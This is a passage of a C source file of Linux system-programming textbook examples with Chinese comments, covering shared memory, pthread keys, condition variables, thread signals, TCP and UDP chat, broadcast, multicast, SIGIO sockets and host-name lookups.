			printf("write data operate\n");
			printf("please input something:");
			scanf("%s", (char*)sharem); //从标准输入写数据到共享内存
			sem_b.sem_op = 1; //信号量执行+1操作
			if (semop(semid, &sem_b, 1) == -1) { //数据写完，发送信号
				fprintf(stderr, "semaphore_p failed\n");
				exit(EXIT_FAILURE);
			}
		}
		if (strcmp(sharem, "end") == 0) {
			running--;
		}
	}
	shmdt(sharem);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 12.1-线程私有数据使用示例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
static pthread_key_t g_key;
static void echomsg(void *t)
{
	printf("destructor excuted in thread %lu,param=%p\n",pthread_self(),(int *)t);
}
static void show_the_private_data()
{
	printf("\nthread %lu returns %d,addr is %p\n", pthread_self(), *((int *)pthread_getspecific(g_key)), (int *)pthread_getspecific(g_key));
}
static void *child1(void *arg)
{
	int i=10;
	printf("\nset g_key value %d in thread %lu\n", i, pthread_self());
	pthread_setspecific(g_key, &i); //写线程私有数据
	printf("thread one sleep 2 until thread two finish\n");
	sleep(2);

	//跨函数访问,读取线程私有数据
	show_the_private_data();
	return NULL;
}
static void *child2(void *arg)
{
	int temp=20;
	printf("\nset g_key value %d in thread %lu\n",temp, pthread_self());
	pthread_setspecific(g_key, &temp); //写线程私有数据
	sleep(1);

	//跨函数访问,读取线程私有数据
	show_the_private_data();
	return NULL;
}

int pthread_key_test(int argc, char *argv[])
{
	pthread_t tid1,tid2;
	pthread_key_create(&g_key, echomsg);

	//共用全局变量名字g_key,但是线程互不干扰
	pthread_create(&tid1,NULL,(void *)child1,NULL);
	pthread_create(&tid2,NULL,(void *)child2,NULL);
	pthread_join(tid1,NULL);
	pthread_join(tid2,NULL);

	pthread_key_delete(g_key);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 12.2.1-使用条件变量和互斥锁实现生产消费者问题{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
#define BUFFER_SIZE 2
#define OVER (-1)
/* Circular buffer of integers. */
struct prodcons {
	int buffer[BUFFER_SIZE];      /* the actual data */
	pthread_mutex_t lock;         /* mutex ensuring exclusive access to buffer */
	int readpos, writepos;        /* positions for reading and writing */
	pthread_cond_t notempty;      /* signaled when buffer is not empty */
	pthread_cond_t notfull;       /* signaled when buffer is not full */
};
struct prodcons buffer;

/* Initialize a buffer */
static void init(struct prodcons *prod)
{
	pthread_mutex_init(&prod->lock,NULL);
	pthread_cond_init(&prod->notempty,NULL);
	pthread_cond_init(&prod->notfull,NULL);
	prod->readpos = 0;
	prod->writepos = 0;
}
/* Store an integer in the buffer */
static void put(struct prodcons * prod, int data)
{
	pthread_mutex_lock(&prod->lock);
	/* Wait until buffer is not full */
	while ((prod->writepos + 1) % BUFFER_SIZE == prod->readpos) {
		printf("producer wait for not full\n");
		pthread_cond_wait(&prod->notfull, &prod->lock);
	}
	/* Write the data and advance write pointer */
	prod->buffer[prod->writepos] = data;
	prod->writepos++;
	if (prod->writepos >= BUFFER_SIZE) {
		prod->writepos = 0;
	}
	/*Signal that the buffer is now not empty */
	pthread_cond_signal(&prod->notempty);
	pthread_mutex_unlock(&prod->lock);
}
/* Read and remove an integer from the buffer */
static int get(struct prodcons *prod)
{
	int data;
	pthread_mutex_lock(&prod->lock);
	/* Wait until buffer is not empty */
	while (prod->writepos == prod->readpos) {
		printf("consumer wait for not empty\n");
		pthread_cond_wait(&prod->notempty, &prod->lock);
	}
	/* Read the data and advance read pointer */
	data = prod->buffer[prod->readpos];
	prod->readpos++;
	if (prod->readpos >= BUFFER_SIZE)
		prod->readpos = 0;
	/* Signal that the buffer is now not full */
	pthread_cond_signal(&prod->notfull);
	pthread_mutex_unlock(&prod->lock);
	return data;
}
/*--------------------------------------------------------*/
static void * producer(void * data)
{
	int n;

	for (n = 0; n < 5; n++) {
		printf("producer sleep 1 second......\n");
		sleep(1);
		printf("put the %d product\n", n);
		put(&buffer, n);
	}
	for(n=5; n<10; n++) {
		printf("producer sleep 3 second......\n");
		sleep(3);
		printf("put the %d product\n",n);
		put(&buffer,n);
	}
	put(&buffer, OVER);
	printf("producer stopped!\n");
	return NULL;
}
/*--------------------------------------------------------*/
static void * consumer(void * data)
{
	int d=0;
	while (1) {
		printf("consumer sleep 2 second......\n");
		sleep(2);
		d=get(&buffer);
		printf("get the %d product\n", d);
		//		d = get(&buffer);
		if (d == OVER ) break;
	}
	printf("consumer stopped!\n");
	return NULL;
}
/*--------------------------------------------------------*/
int pthread_cond_example(int argc, char *argv[])
{
	pthread_t th_a, th_b;
	void * retval;
	init(&buffer);
	pthread_create(&th_a, NULL, producer, 0);
	pthread_create(&th_b, NULL, consumer, 0);
	/* Wait until producer and consumer finish. */
	pthread_join(th_a, &retval);
	pthread_join(th_b, &retval);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 12.2.2-读写锁{{{
 *               : 读操作可并发，写操作独享；且读时不可写；
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
/*}}}*/

/***************************************************************************************
 * Description   : 12.3.1-线程信号应用实例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
pthread_t thread_one, thread_two;

static void report(int sig)
{
	printf("\nin signal ,the sig=%d\t,the thread id=%lu\n",sig,pthread_self());
}
static void *sigone_program(void *arg)
{
	int i;
	__sigset_t set;
	signal(SIGUSR1,report);
	sigfillset(&set);
	sigdelset(&set,SIGUSR2);
	pthread_sigmask(SIG_SETMASK,&set,NULL);
	for (i=0;i<5;i++) {
		printf("this is set mask %lu thread\n",pthread_self());
		pause();
	}
	return NULL;
}
static void *sigtwo_program(void *arg)
{
	int i;
	signal(SIGUSR2, report);
	for (i=0; i<5; i++) {
		printf("this is no set mask %lu thread\n",pthread_self());
		pause();
	}
	return NULL;
}

int pthread_signal(int argc,char *argv[])
{
	if(pthread_create(&thread_one,NULL,sigone_program,NULL)!=0) {
		fprintf(stderr,"pthread_create failure\n");
		exit(EXIT_FAILURE);
	}
	if(pthread_create(&thread_two,NULL,sigtwo_program,NULL)!=0) {
		fprintf(stderr,"pthread_create failure\n");
		exit(EXIT_FAILURE);
	}
	sleep(1);

	printf("this is parent ,send SIGUSR1,SIGUSR2 to thread %lu\n",thread_one);

	if(pthread_kill(thread_one,SIGUSR1)!=0) {
		perror("pthread_kill");
		exit(EXIT_FAILURE);
	}

	if(pthread_kill(thread_one,SIGUSR2)!=0) {
		perror("pthread_kill");
		exit(EXIT_FAILURE);
	}

	printf("this is parent ,send SIGUSR1,SIGUSR2  to thread %lu\n",thread_two);
	if(pthread_kill(thread_two,SIGUSR1)!=0) {
		perror("pthread_kill");
		exit(EXIT_FAILURE);
	}
	if(pthread_kill(thread_two,SIGUSR2)!=0) {
		perror("pthread_kill");
		exit(EXIT_FAILURE);
	}
	sleep(1);
	if(pthread_kill(thread_one,SIGKILL)!=0) {
		perror("pthread_kill");
		exit(EXIT_FAILURE);
	}

	printf("the end\n");
	pthread_join(thread_two,NULL);
	pthread_join(thread_one,NULL);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 13.3.2-使用TCP实现简单聊天程序{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
#define MAXBUF 1024

int tcp_p_p_chat_server(int argc, char *argv[])
{
	int pid;
	int sockfd, new_fd;
	socklen_t len;
	struct sockaddr_in my_addr, their_addr;
	unsigned int myport, lisnum;
	char buf[MAXBUF + 1];

	//set port
	if (argv[2]) {
		myport = atoi(argv[2]);
	} else {
		myport = 7575;
	}
	//set listen number
	if (argv[3]) {
		lisnum = atoi(argv[3]);
	} else {
		lisnum = 5;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket");
		exit(EXIT_FAILURE);
	}
	//set ip address
	bzero(&my_addr, sizeof(my_addr));
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(myport);
	if (argv[1]) {
		my_addr.sin_addr.s_addr = inet_addr(argv[1]);
	} else {
		my_addr.sin_addr.s_addr = INADDR_ANY;
	}
	//bind address to sockfd
	if (bind(sockfd, (struct sockaddr *) &my_addr, sizeof(struct sockaddr))== -1) {
		perror("bind");
		exit(EXIT_FAILURE);
	}

	if (listen(sockfd,lisnum ) == -1) {
		perror("listen");
		exit(EXIT_FAILURE);
	}
	len = sizeof(struct sockaddr);

RE_LISTEN:
	printf("wait for new connect...\n");
	if ((new_fd = accept(sockfd, (struct sockaddr *) &their_addr, &len)) == -1) {
		perror("accept");
		exit(EXIT_FAILURE);
	} else {
		printf("server: got connection from %s, port %d, socket %d\n",inet_ntoa(their_addr.sin_addr),ntohs(their_addr.sin_port), new_fd);
	}

	if (-1 == (pid = fork())) {
		perror("fork");
		exit(EXIT_FAILURE);
	} else if(pid == 0) {
		//child for send msg
		while (1) {
			bzero(buf, MAXBUF + 1);
			printf("input the message to send: ");
			fgets(buf, MAXBUF, stdin);
			if (!strncasecmp(buf, "quit", 4)) {
				printf("i will close the connect!\n");
				break;
			}
			len = send(new_fd, buf, strlen(buf) - 1, 0);
			if (len < 0) {
				printf("message[%s] send failure! errno code is %d,errno message is '%s'\n",
						buf, errno, strerror(errno));
				break;
			}
		}
	} else {
		//parent for recv msg
		while (1) {
			bzero(buf, MAXBUF + 1);
			len = recv(new_fd, buf, MAXBUF, 0);
			if (len > 0) {
				printf("\nmessage recv successful:'%s', %dByte recv\n",buf, len);
			} else if (len < 0) {
				printf("recv failure! errno code is %d,errno message is '%s'\n",
						errno, strerror(errno));
				break;
			} else {
				printf("the other one close quit\n");
				break;
			}
		}
		kill(pid, SIGKILL);
		wait(&pid);
	}
	/*close(new_fd);*/
	shutdown(new_fd, SHUT_RDWR);
	goto RE_LISTEN;

	close(sockfd);
	return 0;
}

int tcp_p_p_chat_client(int argc,char *argv[])
{
	int sockfd, len;
	struct sockaddr_in dest;
	char buffer[MAXBUF + 1];
	pid_t pid;

	if (argc != 3) {
		printf(" error format, it must be:\n\t\t%s <IP> <port>\n", argv[0]);
		exit(EXIT_FAILURE);
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		perror("Socket");
		exit(errno);
	}
	printf("socket created\n");
	//set ip address
	bzero(&dest, sizeof(dest));
	dest.sin_family = AF_INET;
	dest.sin_port = htons(atoi(argv[2]));
	if (inet_aton(argv[1], (struct in_addr *) &dest.sin_addr.s_addr) == 0) {
		perror(argv[1]);
		exit(errno);
	}

	//try connect to dest
	if (connect(sockfd, (struct sockaddr *) &dest, sizeof(dest))==-1) {
		perror("Connect ");
		exit(errno);
	}
	printf("server connected\n");

	if (-1 == (pid = fork())) {
		perror("fork");exit(EXIT_FAILURE);
	} else if (pid == 0) {
		// child for recv msg
		while (1) {
			bzero(buffer, MAXBUF + 1);
			len = recv(sockfd, buffer, MAXBUF, 0);
			if (len > 0) {
				printf("\nrecv successful:'%s', %d byte recv\n", buffer, len);
			} else if(len < 0) {
				perror("recv");
				break;
			} else {
				printf("the other one close, quit\n");
				kill(getppid(), SIGKILL);
				break;
			}
		}
	} else {
		// parent for send msg
		while (1) {
			bzero(buffer, MAXBUF + 1);
			printf("pls input message to send:");
			fgets(buffer, MAXBUF, stdin);
			if (!strncasecmp(buffer, "quit", 4)) {
				printf(" I will quit!\n");
				break;
			}
			len = send(sockfd, buffer, strlen(buffer) - 1, 0);
			if (len < 0) {
				perror("send");
				break;
			}
		}
		kill(pid, SIGKILL); //kill child
		wait(&pid);
	}
	close(sockfd);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 14.3-select多路复用应用实例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int tcp_select_chat_server(int argc, char *argv[])
{
	int sockfd, new_fd;
	socklen_t len;
	struct sockaddr_in my_addr, their_addr;
	unsigned int myport, lisnum;
	int retval, maxfd = -1;
	char buf[MAXBUF + 1];
	fd_set rfds;
	struct timeval tv;

	if (argv[2]) {
		myport = atoi(argv[2]);
	} else {
		myport = 7838;
	}
	if (argv[3]) {
		lisnum = atoi(argv[3]);
	} else {
		lisnum = 2;
	}

	if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket");
		exit(EXIT_FAILURE);
	}
	//set ip address
	bzero(&my_addr, sizeof(my_addr));
	my_addr.sin_family = PF_INET;
	my_addr.sin_port = htons(myport);
	if (argv[1]) {
		my_addr.sin_addr.s_addr = inet_addr(argv[1]);
	} else {
		my_addr.sin_addr.s_addr = INADDR_ANY;
	}

	if (bind(sockfd, (struct sockaddr *) &my_addr, sizeof(struct sockaddr)) == -1) {
		perror("bind");
		exit(EXIT_FAILURE);
	}
	if (listen(sockfd, lisnum) == -1) {
		perror("listen");
		exit(EXIT_FAILURE);
	}

	while (1) {
		printf ("\n----wait for new connect\n");
		len = sizeof(struct sockaddr);
		if ((new_fd = accept(sockfd, (struct sockaddr *) &their_addr,&len)) == -1) {
			perror("accept");
			exit(errno);
		} else {
			printf("server: got connection from %s, port %d, socket %d\n", inet_ntoa(their_addr.sin_addr),ntohs(their_addr.sin_port), new_fd);
		}

		//select多路复用
		while (1) {
			//设置描述符集
			FD_ZERO(&rfds);
			FD_SET(0, &rfds);      //添加stdin到描述符集
			FD_SET(new_fd, &rfds); //添加new_fd到描述符集
			maxfd = new_fd; //找最大的fd
			//设置超时时间
			tv.tv_sec = 1;
			tv.tv_usec = 0;

			//开始select多路复用
			retval = select(maxfd + 1, &rfds, NULL, NULL, &tv); //注册可读事件
			if (retval == -1) {
				perror("select");
				exit(EXIT_FAILURE);
			} else if (retval == 0) {
				continue; //timeout
			} else {
				if (FD_ISSET(0, &rfds)) {
					//stdin事件
					bzero(buf, MAXBUF + 1);
					fgets(buf, MAXBUF, stdin);
					if (!strncasecmp(buf, "quit", 4)) {
						printf("i will quit!\n");
						break;
					}
					len = send(new_fd, buf, strlen(buf) - 1, 0);
					if (len > 0) {
						printf ("send successful, %d byte send!\n",len);
					} else {
						printf("send failure!");
						break;
					}
				}
				if (FD_ISSET(new_fd, &rfds)) {
					//new_fd事件
					bzero(buf, MAXBUF + 1);
					len = recv(new_fd, buf, MAXBUF, 0);
					if (len > 0) {
						printf ("recv success :[%s], %d byte recv\n", buf, len);
					} else {
						if (len < 0) {
							printf("recv failure\n");
						} else {
							printf("the ohter one end ,quit\n");
							break;
						}
					}
				}
			}
		}
		close(new_fd);
		printf("need othe connecdt? (no -> quit)");
		fflush(stdout);
		bzero(buf, MAXBUF + 1);
		fgets(buf, MAXBUF, stdin);
		if (!strncasecmp(buf, "no", 2)) {
			printf("quit!\n");
			break;
		}
	}
	close(sockfd);
	return 0;
}

int tcp_select_chat_client(int argc, char *argv[])
{
	int sockfd, len;
	struct sockaddr_in dest;
	char buffer[MAXBUF + 1];
	fd_set rfds;
	struct timeval tv;
	int retval, maxfd = -1;

	if (argc != 3) {
		printf("argv format errno, pls:\n\t\t%s IP port\n", argv[0]);
		exit(EXIT_FAILURE);
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		perror("Socket");
		exit(EXIT_FAILURE);
	}
	//set dest ip address
	bzero(&dest, sizeof(dest));
	dest.sin_family = AF_INET;
	dest.sin_port = htons(atoi(argv[2]));
	if (inet_aton(argv[1], (struct in_addr *) &dest.sin_addr.s_addr) == 0) {
		perror(argv[1]);
		exit(EXIT_FAILURE);
	}
	//connect to dest
	if (connect(sockfd, (struct sockaddr *) &dest, sizeof(dest)) != 0) {
		perror("Connect ");
		exit(EXIT_FAILURE);
	}

	printf("\nget ready pls chat\n");
	//开始select多路复用
	while (1) {
		//设置描述符集
		FD_ZERO(&rfds);        //清0
		FD_SET(0, &rfds);      //添加stdin到描述符集
		FD_SET(sockfd, &rfds); //添加sockfd到描述符集
		maxfd = sockfd;        //确定最大描述符
		//设置超时时间
		tv.tv_sec = 1;
		tv.tv_usec = 0;

		retval = select(maxfd + 1, &rfds, NULL, NULL, &tv); //注册可读事件
		if (retval == -1) {
			printf("select %s", strerror(errno));
			break;
		} else if (retval == 0) {
			continue; //timeout
		} else {
			if (FD_ISSET(sockfd, &rfds)) {
				//sockfd可读事件
				bzero(buffer, MAXBUF + 1);
				len = recv(sockfd, buffer, MAXBUF, 0);
				if (len > 0) {
					printf ("recv message:[%s], %d byte recv\n",buffer, len);
				} else {
					if (len < 0) {
						printf ("message recv failure\n");
					} else {
						printf("the other quit ,quit\n");
						break;
					}
				}
			}
			if (FD_ISSET(0, &rfds)) {
				//stdin可读事件
				bzero(buffer, MAXBUF + 1);
				fgets(buffer, MAXBUF, stdin);
				if (!strncasecmp(buffer, "quit", 4)) {
					printf("i will quit\n");
					break;
				}
				len = send(sockfd, buffer, strlen(buffer)-1, 0);
				if (len < 0) {
					printf ("message send failure");
					break;
				} else {
					printf ("send success, %d byte send\n", len);
				}
			}
		}
	}
	close(sockfd);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 15.2-UDP广播通信示例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
#define DEF_BOARDCAST_PORT    7838
int udp_brodcast_send(int argc, char **argv)
{
	struct sockaddr_in s_addr;
	int sock;
	int addr_len;
	int len;
	char buff[128];
	int yes = 1;

	if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) 	{
		perror("socket");
		exit(EXIT_FAILURE);
	} else {
		printf("create socket.\n\r");
	}
	//设置广播属性
	setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &yes, sizeof(yes));
	//设置广播地址
	s_addr.sin_family = AF_INET;
	s_addr.sin_port = htons(DEF_BOARDCAST_PORT);
	if (argv[1]) {
		s_addr.sin_addr.s_addr = inet_addr(argv[1]);
	} else {
		printf("input sever ip!\n");
		exit(0);
	}
	addr_len = sizeof(s_addr);
	//
	//发送广播消息
	strcpy(buff, "hello message");
	len = sendto(sock, buff, strlen(buff), 0, (struct sockaddr *) &s_addr, addr_len);
	if (len < 0) {
		printf("\n\rsend error.\n\r");
		exit(EXIT_FAILURE);
	}
	printf("send success.\n\r");
	return 0;
}

int udp_brodcast_recv(int argc, char **argv)
{
	struct sockaddr_in s_addr;
	struct sockaddr_in c_addr;
	int sock;
	socklen_t addr_len;
	int len;
	char buff[128];

	if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		perror("socket");
		exit(EXIT_FAILURE);
	} else {
		printf("create socket.\n\r");
	}
	//set ip address
	memset(&s_addr, 0, sizeof(struct sockaddr_in));
	s_addr.sin_family = AF_INET;
	s_addr.sin_port = htons(DEF_BOARDCAST_PORT);
	s_addr.sin_addr.s_addr = INADDR_ANY;
	if ((bind(sock, (struct sockaddr *) &s_addr, sizeof(s_addr))) == -1) {
		perror("bind");
		exit(EXIT_FAILURE);
	} else {
		printf("bind address to socket.\n\r");
	}
	addr_len = sizeof(c_addr);
	//循环接收广播消息
	while (1) {
		len = recvfrom(sock, buff, sizeof(buff)-1, 0, (struct sockaddr *) &c_addr, &addr_len);
		if (len < 0) {
			perror("recvfrom");
			exit(EXIT_FAILURE);
		}
		buff[len] = '\0';
		printf("recive come from %s:%d message:[%s]\n\r", inet_ntoa(c_addr.sin_addr), ntohs(c_addr.sin_port), buff);
	}
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 15.3-UDP组播应用示例{{{
 *               : 组播地址 224.0.0.1 - 239.255.255.255
 *               : 组播MAC地址(48bit) = 01:00:5E + 0 + 组播ip低23bit
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int udp_group_brodcast_send(int argc, char **argv)
{
	struct sockaddr_in peeraddr, myaddr;
	int sockfd;
	char recmsg[MAXBUF + 1];
	unsigned int socklen;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);
	if (sockfd < 0) {
		printf("socket creating error\n");
		exit(EXIT_FAILURE);
	}
	//设置组播ip地址
	socklen = sizeof(struct sockaddr_in);
	memset(&peeraddr, 0, socklen);
	peeraddr.sin_family = AF_INET;
	peeraddr.sin_port = htons(7838);
	if (argv[1]) {
		if (inet_pton(AF_INET, argv[1], &peeraddr.sin_addr) <= 0) {
			printf("wrong group address!\n");
			exit(EXIT_FAILURE);
		}
	} else {
		printf("no group address!\n");
		exit(EXIT_FAILURE);
	}
	//设置本地ip地址
	memset(&myaddr, 0, socklen);
	myaddr.sin_family = AF_INET;
	myaddr.sin_port = htons(23456);
	if (argv[2]) {
		if (inet_pton(AF_INET, argv[2], &myaddr.sin_addr) <= 0) {
			printf("self ip address error!\n");
			exit(EXIT_FAILURE);
		}
	} else {
		myaddr.sin_addr.s_addr = INADDR_ANY;
	}
	if (bind(sockfd, (struct sockaddr *) &myaddr,sizeof(struct sockaddr_in)) == -1) {
		printf("Bind error\n");
		exit(EXIT_FAILURE);
	}

	//开始发送广播包
	for (;;) {
		bzero(recmsg, MAXBUF + 1);
		printf("input message to send:");
		if (fgets(recmsg, MAXBUF, stdin) == (char *) EOF) {
			exit(EXIT_FAILURE);
		}
		if (sendto(sockfd, recmsg, strlen(recmsg), 0,(struct sockaddr *) &peeraddr, sizeof(struct sockaddr_in)) < 0) {
			printf("sendto error!\n");
			exit(EXIT_FAILURE);
		}
		printf("sned message:%s", recmsg);
	}
	return 0;
}

int udp_group_brodcast_recv(int argc, char **argv)
{
	struct sockaddr_in peeraddr;
	struct in_addr ia;
	int sockfd;
	char recmsg[MAXBUF + 1];
	unsigned int socklen, n;
	struct hostent *group;
	struct ip_mreq mreq;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);
	if (sockfd < 0) {
		printf("socket creating err in udptalk\n");
		exit(EXIT_FAILURE);
	}

	//设置本地ip地址
	bzero(&mreq, sizeof(struct ip_mreq));
	if (argv[1]) {
		if ((group = gethostbyname(argv[1])) == (struct hostent *) 0) {
			perror("gethostbyname");
			exit(EXIT_FAILURE);
		}
	} else {
		printf("you should give me a group address, 224.0.0.0-239.255.255.255\n");
		exit(EXIT_FAILURE);
	}
	//copy ip address
	bcopy((void *)group->h_addr, (void *)&ia, group->h_length);
	bcopy(&ia, &mreq.imr_multiaddr.s_addr, sizeof(struct in_addr));
	//mreq.imr_interface.s_addr = htonl(INADDR_ANY);
	if (argv[2]) {
		if (inet_pton(AF_INET, argv[2], &mreq.imr_interface.s_addr) <= 0) {
			printf("Wrong dest IP address!\n");
			exit(EXIT_FAILURE);
		}
	}

	//配置加入组播组,是客户端可接收组播包
	if (setsockopt(sockfd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(struct ip_mreq)) == -1) {
		perror("setsockopt");
		exit(EXIT_FAILURE);
	}

	//配置目的组播地址
	socklen = sizeof(struct sockaddr_in);
	memset(&peeraddr, 0, socklen);
	peeraddr.sin_family = AF_INET;
	peeraddr.sin_port = htons(7838);
	if (argv[1]) {
		if (inet_pton(AF_INET, argv[1], &peeraddr.sin_addr) <= 0) {
			printf("Wrong dest IP address!\n");
			exit(EXIT_FAILURE);
		}
	} else {
		printf("no group address given, 224.0.0.0-239.255.255.255\n");
		exit(EXIT_FAILURE);
	}
	if (bind(sockfd, (struct sockaddr *) &peeraddr,sizeof(struct sockaddr_in)) == -1) {
		printf("Bind error\n");
		exit(EXIT_FAILURE);
	}

	//开始接收组播数据包
	for (;;) {
		bzero(recmsg, MAXBUF + 1);
		n = recvfrom(sockfd, recmsg, MAXBUF, 0,(struct sockaddr *) &peeraddr, &socklen);
		if (n < 0) {
			printf("recvfrom err in udptalk!\n");
			exit(EXIT_FAILURE);
		} else {
			recmsg[n] = 0;
			printf("peer:%s", recmsg);
		}
	}
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 15.4-socket信号驱动{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
#define MAX_LENTH 1500
static char recv_buf[MAX_LENTH];
static int nqueue = 0;

void sigio_handler(int signum)
{
	if (signum == SIGIO) {
		nqueue++;
	}
	printf("signum=%d, nqueue=%d\n", signum, nqueue);
	return;
}

int sigio_server(int argc, char *argv[])
{
	int len = 0;
	int on = 1;
	int sig_sockfd;
	struct sigaction action;
	struct sockaddr_in ser_addr;
	sigset_t newmask, oldmask;

	//set ip address
	if (argc!=3) {
		printf("use: %s ip_add port\n",argv[0]);
		exit(EXIT_FAILURE);
	}
	memset(&ser_addr, 0, sizeof(ser_addr));
	ser_addr.sin_family = AF_INET;
	if (inet_aton(argv[1], (struct in_addr *) & ser_addr.sin_addr.s_addr) == 0) {
		perror(argv[1]);
		exit(EXIT_FAILURE);
	}
	ser_addr.sin_port = htons(atoi(argv[2]));

	//create and bind socket
	if ((sig_sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		perror("Create socket failed");
		exit(EXIT_FAILURE);
	}
	if (bind(sig_sockfd, (struct sockaddr *)&ser_addr, sizeof(ser_addr)) == -1) {
		perror("Bind socket failed");
		exit(EXIT_FAILURE);
	}

	//注册SIGIO信号及其回调函数
	memset(&action, 0, sizeof(action));
	action.sa_handler = sigio_handler;
	action.sa_flags = 0;
	if (sigaction(SIGIO, &action, NULL)) {
		perror("sigaction");
		return EXIT_FAILURE;
	}
	//设置socket为信号驱动型IO
	if (ioctl(sig_sockfd, FIOASYNC, &on) == -1) {
		perror("Ioctl FIOASYNC");
		exit(EXIT_FAILURE);
	}
	//设置socket的拥有者owner
	if (fcntl(sig_sockfd, F_SETOWN, getpid()) == -1) {
		perror("Fcntl F_SETOWN ");
		exit(EXIT_FAILURE);
	}

	sigemptyset(&oldmask);
	sigemptyset(&newmask);
	sigaddset(&newmask, SIGIO);

	printf("get ready\n");
	while (1) {
		sigprocmask(SIG_BLOCK, &newmask, &oldmask); //阻塞newmask信号集
		while (nqueue == 0) {
			sigsuspend(&oldmask); //等待信号
		}

		//非阻塞方式接收数据
		memset(recv_buf, '\0', MAX_LENTH);
		len = recv(sig_sockfd, recv_buf, MAX_LENTH, MSG_DONTWAIT);
		if (len == -1 && errno == EAGAIN) {
			printf("recv msg over\n");
			nqueue = 0; //收完数据后，清0信号队列，重新进入阻塞
		}

		sigprocmask(SIG_SETMASK, &oldmask, NULL); //恢复进程阻塞的信号
		if (len >= 0) {
			printf("recv %d byte(s), msg is: %s\n", len, recv_buf);
		}
	}
	return 0;
}

int sigio_client(int argc, char *argv[])
{
	struct sockaddr_in addr;
	char snd_buf[MAX_LENTH];
	int sock_fd,ret;

	//set ip address
	if (argc!=3) {
		printf("use: %s ip_add port\n",argv[0]);
		exit(EXIT_FAILURE);
	}
	memset(&addr,0,sizeof(addr));
	addr.sin_family =  AF_INET;
	if (inet_aton(argv[1], (struct in_addr *)&addr.sin_addr.s_addr) == 0) {
		perror(argv[1]);
		exit(EXIT_FAILURE);
	}
	addr.sin_port = htons(atoi(argv[2]));

	if ((sock_fd = socket(AF_INET,SOCK_DGRAM,0))==-1) {
		perror("socket");
		exit(EXIT_FAILURE);
	}

	if ((ret = connect(sock_fd,(struct sockaddr *)&addr,sizeof(addr))) == -1) {
		perror("Connect");
		exit(EXIT_FAILURE);
	}

	while (1) {
		printf("input msg to send:");
		memset(snd_buf,'\0',MAX_LENTH);
		fgets(snd_buf,MAX_LENTH-1,stdin);
		if (MAX_LENTH > write(sock_fd,snd_buf,MAX_LENTH-1)) {
			perror("write");
		}
	}
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 15.5.1-通过域名或IP返回主机信息{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
extern int h_errno;

int gethostbyname_exp(int argc, char *argv[])
{
	char   *ptr, **pptr;
	char    str[INET_ADDRSTRLEN];
	struct hostent *hptr;

	while (--argc> 0) {
		ptr = *++argv;
		if ( (hptr = gethostbyname (ptr) ) == NULL) {
			printf("gethostbyname error for host: %s: %s",ptr, hstrerror (h_errno) );
			continue;
		}
		printf ("official hostname: %s\n", hptr->h_name);

		for (pptr=hptr->h_aliases; *pptr!= NULL; pptr++) {
			printf ("\talias: %s\n", *pptr);
		}
		switch (hptr->h_addrtype) {
			case AF_INET:
				pptr = hptr->h_addr_list;
				for ( ; *pptr != NULL; pptr++) {
					printf ("\taddress: %s\n",inet_ntop (hptr->h_addrtype, *pptr, str, sizeof (str)));
				}
				break;
			default:
				printf("unknown address type");
				break;
		}
	}
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 15.5.2-通过和IP返回主机信息{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int gethostbyaddr_exp(int argc, char *argv[])
{
	u_int addr;
	struct hostent *hp;
	char **p;

	if (argc != 2) {
		printf("usage: %s IP-address\n",argv[0]);
		exit(EXIT_FAILURE);
	}
	if ((int) (addr = inet_addr (argv[1])) == -1) {
		printf("IP-address must be of the form a.b.c.d\n");
		exit (EXIT_FAILURE);
	}

	hp = gethostbyaddr((char *) &addr, sizeof (addr), AF_INET);
	if (hp == NULL) {
		printf("host information for %s no found \n", argv[1]);
		exit (EXIT_FAILURE);
	}

	for (p = hp->h_addr_list; *p!=0;p++) {
		struct in_addr in;
		char **q;
		memcpy(&in.s_addr, *p, sizeof(in.s_addr));
		printf("%s\t%s",inet_ntoa(in), hp->h_name);
		for (q=hp->h_aliases;*q != 0; q++) {
			printf("%s", *q);
		}
		printf("\n");
	}
	return EXIT_SUCCESS;
}
/*}}}*/

/***************************************************************************************
 * Description   : 15.5.3-getaddrinfo获取主机信息{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int getaddrinfo_exp(int argc, char *argv[])
{
	int rc;
	char ipbuf[16];
	struct addrinfo hints,*addr;

	memset(&hints,0,sizeof(struct addrinfo));
	hints.ai_family=AF_INET;
	hints.ai_flags=AI_CANONNAME | AI_ADDRCONFIG;
